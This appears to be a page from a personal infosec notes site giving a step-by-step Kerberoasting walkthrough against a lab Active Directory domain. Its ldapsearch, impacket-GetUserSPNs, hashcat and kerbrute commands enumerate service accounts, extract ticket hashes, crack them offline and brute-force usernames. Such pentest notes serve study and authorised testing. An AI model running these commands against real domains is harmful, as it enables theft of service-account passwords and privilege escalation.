> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/active-directory-domain-controller/kerberos-enumeration/kerberoasting.md).

# Kerberoasting

Kerberoasting is a post-compromise attack technique where an attacker extracts service account tickets (TGS) from a domain controller and attempts to crack them offline to retrieve plaintext passwords.

***

### **Kerberoasting Attack Checklist**

1. Identify Domain Name |
2. Enumerate Service Principal Names (SPNs) |
3. Use credentials to request SPN tickets |
4. Extract TGS hashes |
5. Crack the hash offline |

***

### Environment Example

* **Domain:** `enum.local`
* **Domain Controller IP:** `192.168.1.61`
* **Valid User:** `roxana.marleah`
* **Password:** `Test@123`

***

### Steps for Kerberoasting

#### **Enumerate Domain Info**

Use `ldapsearch` to extract domain metadata and user info.

```bash
ldapsearch -x -H ldap://192.168.1.61 -b "dc=enum,dc=local"
```

#### **Find SPNs (ServicePrincipalName)**

Extract SPNs using grep:

```bash
ldapsearch -x -H ldap://192.168.1.61 -b "dc=enum,dc=local" | grep servicePrincipalName
```

Example output:

```
servicePrincipalName: MSSQLSvc/mssqlserver.enum.local
```

***

#### **Use Impacket to Request SPN Tickets**

> If you have **user credentials**, use this syntax:

```bash
impacket-GetUserSPNs -dc-ip 192.168.1.61 enum.local/'roxana.marleah':Test@123 -request
```

Sample output:

```
$krb5tgs$23$*mssql_svc$ENUM.LOCAL$MSSQLSvc/mssqlserver.enum.local@ENUM.LOCAL:hashdata
```

✅ Add `-outputfile` to save the hashes:

```bash
impacket-GetUserSPNs -dc-ip 192.168.1.61 enum.local/'roxana.marleah':Test@123 -request -outputfile spn-hash.txt
```

***

#### **Crack SPN Hash with Hashcat**

Kerberoast hashes use **mode 13100**:

```bash
hashcat -m 13100 -a 0 spn-hash.txt /opt/rockyou.txt
```

If cracked successfully:

```bash
MSSQLSvc/mssqlserver.enum.local@ENUM.LOCAL: P@ssw0rd123
```

Now you have the **cleartext password** for a **service account**, which might have elevated privileges!

***

### Understanding SPNs

Service Principal Names (SPNs) follow this format:

```
<service-type>/<hostname>:<port>
```

Example:

```
MSSQLSvc/mssqlserver.enum.local:1433
```

***

### Enumerate SPNs Without Password (if anonymous login allowed)

```bash
impacket-GetUserSPNs -dc-ip 192.168.1.61 -no-pass enum.local/
```

Or brute-force valid usernames first:

```bash
kerbrute userenum --dc 192.168.1.61 -d enum.local usernames.txt
```